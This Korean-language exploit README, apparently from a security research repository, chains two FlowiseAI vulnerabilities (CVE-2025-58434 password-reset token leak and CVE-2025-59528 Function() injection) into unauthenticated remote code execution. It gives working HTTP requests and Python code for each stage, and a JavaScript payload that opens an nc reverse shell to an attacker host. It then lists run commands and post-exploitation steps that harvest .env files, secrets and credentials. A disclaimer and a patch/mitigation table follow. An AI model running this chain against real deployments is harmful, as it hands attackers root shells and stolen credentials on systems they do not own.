
FlowiseAI에서 인증되지 않은 kill chain을 통해 전체 RCE로 이어지는 치명적 취약점 (CVE-2025-58434 + CVE-2025-59528)
FlowiseAI
<= 3.0.5에 대해 인증되지 않은 계정 탈취와 원격 코드 실행이 연쇄적으로 발생합니다. 5초 이내에 전체 컨테이너가 손상되며, 자격 증명이 전혀 필요하지 않습니다.
왼쪽: FlowiseAI 로그인 페이지 — 오른쪽: CVE-2025-59528을 통한 루트 셸 · uid=0(root)
이 익스플로잇은 두 개의 독립적인 중요 취약점을 하나의 완전 자동화된 공격으로 연결합니다. 각 취약점만으로는 완전한 손상을 보장할 수 없지만, 함께 사용하면 자격 증명이 전혀 없는 상태에서 Docker 컨테이너 내부의 루트 셸까지 이어지는 완전한 킬 체인이 완성됩니다.
[자격 증명 없음]
│
▼
① forgot-password 엔드포인트 악용 (인증 불필요)
│ → 서버가 피해자의 재설정 토큰을 평문으로 반환
▼
② 토큰을 reset-password 엔드포인트에 제출
│ → 공격자가 관리자 비밀번호를 제어
▼
③ 로그인 + Bearer API 키 획득
│ → 완전한 인증 세션 확립
▼
④ customMCP 노드를 통해 JavaScript 페이로드 전송
│ → 서버가 Function() 생성자로 이를 평가
▼
[Docker 컨테이너 내부 루트 셸]
왜 상호작용이 없는가: 피해자는 이메일을 받거나, 로그인 알림을 보거나, 어떤 가시적인 이벤트도 트리거되지 않습니다. 공격은 전적으로 서버 측에서 이루어집니다.
CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향: FlowiseAI <= 3.0.5 (클라우드 + 자체 호스팅)
권고: GHSA-wgpv-6j63-x5ph
FlowiseAI에는 x-request-from: internal HTTP 헤더로 식별되는 "내부" 요청이라는 개념이 있습니다. /api/v1/account/forgot-password 엔드포인트는 이 헤더를 사용하여 인증을 완전히 건너뛰고 외부 호출자에게 반환하는 것보다 더 많은 정보를 포함한 응답을 반환합니다.
문제는: 이 헤더는 어떤 방식으로도 검증되거나 제한되지 않습니다. 인터넷상의 모든 공격자가 이를 보낼 수 있습니다. 그렇게 하면 비밀번호 재설정 이메일을 트리거하는 대신 API가 전체 사용자 레코드를 반환하며, 여기에는 새 비밀번호를 설정하는 데 즉시 사용할 수 있는 유효한 tempToken이 포함됩니다.
일반적으로 비밀번호 재설정 흐름은 다음과 같습니다:
사용자가 재설정 요청 → 서버가 토큰 생성 → 토큰이 EMAIL로 전송됨 → 사용자가 링크 클릭 → 비밀번호 변경됨
여기서 서버는 이메일 단계를 완전히 건너뛰고 토큰을 HTTP 응답 본문에 직접 넣습니다. 공격자가 이를 가로채서 재설정 단계로 바로 이동합니다 — 이메일 액세스가 필요하지 않습니다.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — 전체 사용자 레코드 노출{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
그런 다음 tempToken은 재설정 엔드포인트에 직접 제출됩니다 — 이메일 상호작용, CAPTCHA, 속도 제한이 없습니다.

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
영향: FlowiseAI <= 3.0.5
권고: GHSA-3gcm-f6qx-ff7p
FlowiseAI는 사용자가 서버 구성을 JSON 문자열로 제공하는 사용자 정의 MCP(Model Context Protocol) 노드를 정의할 수 있도록 합니다. 내부적으로 플랫폼은 이 구성을 파싱해야 하며, 이를 위해 JavaScript의 Function() 생성자를 사용하는데, 이는 eval()과 기능적으로 동일합니다.
구성 문자열이 완전히 소독되지 않은 상태로 싱크에 도달합니다:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ 사용자 입력이 소독되지 않음 — 임의 JS 실행
Function()이 eval()만큼 위험한 이유Function('return ' + code)()는 다음을 수행합니다:
code를 본문으로 하는 새로운 JavaScript 함수를 생성합니다.이로 인해 공격자는 process, require, child_process 및 전체 Node.js 런타임에 접근할 수 있는 완전한 JavaScript 실행 컨텍스트를 얻습니다 — 샌드박스가 아닙니다.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← 공격자가 제어하는 문자열
└─ substituteVariablesInString() ← 필터링 없음, 통과
└─ convertToValidJSONString() ← 필터링 없음, 통과
└─ Function('return ' + input)() ← 여기서 임의 코드 실행
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
왜
/dev/tcp가 아닌mkfifo인가?
컨테이너는/bin/bash가 아닌/bin/sh를 실행합니다./dev/tcp는 bash 전용 기능입니다 — 표준 POSIX 셸에는 존재하지 않습니다.mkfifo는 모든 POSIX 호환 셸에서 작동하는 명명된 파이프를 생성하므로, 리버스 셸이 컨테이너 환경 간에 이식 가능합니다.
익스플로잇은 네 가지 순차적 단계로 구성되며, 각 단계는 킬 체인의 단계에 직접 매핑됩니다.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
어떤 일이 발생하는가: 서버는 x-request-from: internal 헤더 때문에 이를 내부 서비스 간 호출이라고 믿습니다. 일반적인 이메일 전송 경로를 건너뛰고 HTTP 201 응답 본문에 전체 사용자 레코드(유효한 비밀번호 재설정 토큰 포함)를 직접 반환합니다.
왜 작동하는가: 헤더 검사는 순전히 문자열 기반이며 암호화 검증이 없습니다. 모든 호출자가 이를 설정할 수 있습니다. 백엔드는 요청의 출처를 검증하지 않습니다.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
어떤 일이 발생하는가: 도난당한 tempToken이 새롭게 공격자가 선택한 비밀번호와 함께 제출됩니다. 서버는 토큰(실제이며 활성 상태)을 검증하고, 이메일이 일치하는지 확인한 후 자격 증명 해시를 업데이트합니다 — 이메일 확인, 2차 검사 없음.
왜 작동하는가: 토큰 검증은 토큰이 존재하고 만료되지 않았는지만 확인합니다. 토큰을 생성한 호출자와 재설정을 제출하는 호출자가 동일한지는 확인하지 않습니다. 소유권은 절대 확인되지 않습니다.
# 새로 설정된 비밀번호로 로그인
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# RCE 엔드포인트에 필요한 Bearer API 키 가져오기
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
어떤 일이 발생하는가: 공격자의 새 비밀번호로 정상 로그인하면 완전한 관리자 세션(쿠키 기반)이 설정됩니다. 그런 다음 이 세션을 사용하여 플랫폼의 기본 API 키를 가져옵니다. 이 키는 4단계에서 사용되는 node-load-method 엔드포인트에 대한 요청을 인증하는 데 필요합니다.
왜 작동하는가: 이 시점에서 공격자는 관리자입니다 — 자격 증명을 소유하고 있습니다. 세션과 API 키는 서버에 의해 합법적으로 발급됩니다.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
어떤 일이 발생하는가: 페이로드는 JSON 호환 객체로 위장된 자체 호출 JavaScript 함수(IIFE)입니다. convertToValidJSONString()이 이를 처리할 때, 값은 Function('return ' + input)() 안으로 들어가며, 이는 전체 Node.js 런타임에 접근하여 실제 JavaScript로 실행됩니다. child_process.exec()가 리버스 셸 명령을 실행하여 공격자의 리스너로 다시 연결을 설정합니다.
왜 IIFE 래퍼인가? Function('return ' + x) 패턴은 표현식이 반환 가능할 것을 기대합니다. 악성 코드를 ({x: (function(){ ... })()})로 감싸면 전체 표현식이 객체로 평가되는 유효한 JavaScript가 되어, 파서를 만족시키면서 부작용으로 페이로드를 실행합니다.
왜 nohup + disown인가? HTTP 요청에는 시간 제한이 있습니다. 프로세스를 분리하지 않으면 요청 시간이 초과될 때 셸이 종료됩니다. nohup + disown은 리버스 셸을 Node.js 프로세스에서 분리하여 독립적으로 유지합니다.
# 1. 먼저 리스너를 시작하세요
nc -lvnp 4444
# 2. 전체 킬 체인 실행
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. 이전 시도에서 관리자 비밀번호가 이미 재설정된 경우
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
셸이 들어오면, 컨테이너는 일반적으로 전체 FlowiseAI 애플리케이션 환경에 접근 가능한 root로 실행됩니다:
# 비밀 및 자격 증명
env # 환경 변수에 API 키, DB URI, 서비스 자격 증명
cat .env # FlowiseAI 구성 파일 — 데이터베이스 비밀번호, JWT 시크릿
# 애플리케이션 내부
ls /app/packages/ # 모노레포 구조 — 소스 코드, 구성, node_modules
cat /app/packages/server/.env
# 컨테이너 컨텍스트
cat /proc/1/cmdline # PID 1이 무엇인지 — 컨테이너 환경 확인
hostname # 컨테이너 ID
cat /etc/hosts # 내부 네트워크 맵 — 도달 가능한 다른 서비스
# 수평 이동 후보
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
이 저장소 및 모든 관련 코드는 교육 및 공인된 보안 연구 목적으로만 게시됩니다.
두 취약점은 모두 공개적으로 공개되었으며 FlowiseAI 3.0.6에서 패치되었습니다. 소유하지 않은 시스템 또는 평가를 위한 명시적인 서면 승인이 없는 시스템에 대한 테스트는 해당 법률(컴퓨터 사기 및 남용 법률(CFAA), 컴퓨터 남용 법률, EU NIS2 지침 등을 포함하되 이에 국한되지 않음)에 따라 불법입니다.
저자는 이 자료의 오용으로 인한 모든 손해에 대해 책임을 지지 않습니다.
0H4K3D · CVE Team
| 속성 | 세부 사항 |
|---|
| 자격 증명이 전혀 필요 없음 | 공격자는 대상 IP만으로 시작합니다 |
| 피해자 상호작용 전혀 없음 | 피싱, 클릭, 사회 공학 없음 |
| 속도 제한 없음 | 재설정 엔드포인트에 제한이 없음 — 필요시 무차별 대입 가능 |
| CAPTCHA 없음 | 재설정 흐름에 인간 확인 절차 없음 |
| 이메일 확인 없음 | 비밀번호 변경이 즉시, 조용히, 되돌릴 수 없게 이루어짐 |
| RCE에서 전체 Node.js 런타임 | child_process, 파일 시스템, 네트워크 — 샌드박스 없음 |
| Docker에서 root로 실행 | 컨테이너는 일반적으로 root로 실행되며, 전체 파일 시스템 접근 가능 |
| 클라우드 + 자체 호스팅 모두 영향 | <= 3.0.5의 모든 배포가 취약 |
| 플래그 | 설명 | 필수 |
|---|
-ip | 대상 IP 주소 | ✅ |
-lhost | 리버스 셸 콜백을 위한 당신의 IP | ✅ |
-lport | 당신의 리스닝 포트 | ✅ |
--skipreset | CVE-2025-58434 건너뛰기 (1단계 & 2단계) — 계정이 이미 손상된 경우 사용 | ❌ |
| 수정 사항 | 우선순위 |
|---|
FlowiseAI ≥ 3.0.6로 업그레이드 | 🔴 즉시 |
리버스 프록시에서 x-request-from: internal 차단 — 인터넷에서 절대 오면 안 됨 | 🔴 즉시 |
/api/v1/account/*를 인증된 세션으로만 제한 | 🔴 즉시 |
mcpServerConfig 소독 — 사용자 입력을 Function() 또는 eval()에 절대 전달하지 않음 | 🔴 즉시 |
| 모든 비밀번호 재설정 엔드포인트에 속도 제한 및 CAPTCHA 추가 | 🔴 즉시 |
| 공개 노출이 필요하지 않은 경우 FlowiseAI 인스턴스를 인터넷에서 격리 | 🟠 높음 |
| 컨테이너를 비-root 사용자로 실행 | 🟠 높음 |
| 비밀번호 재설정 및 MCP 엔드포인트에 이상 탐지 활성화 | 🟡 중간 |
x-request-from을 허용하는 모든 엔드포인트 감사 및 외부에서 호출될 수 없는지 확인 | 🟡 중간 |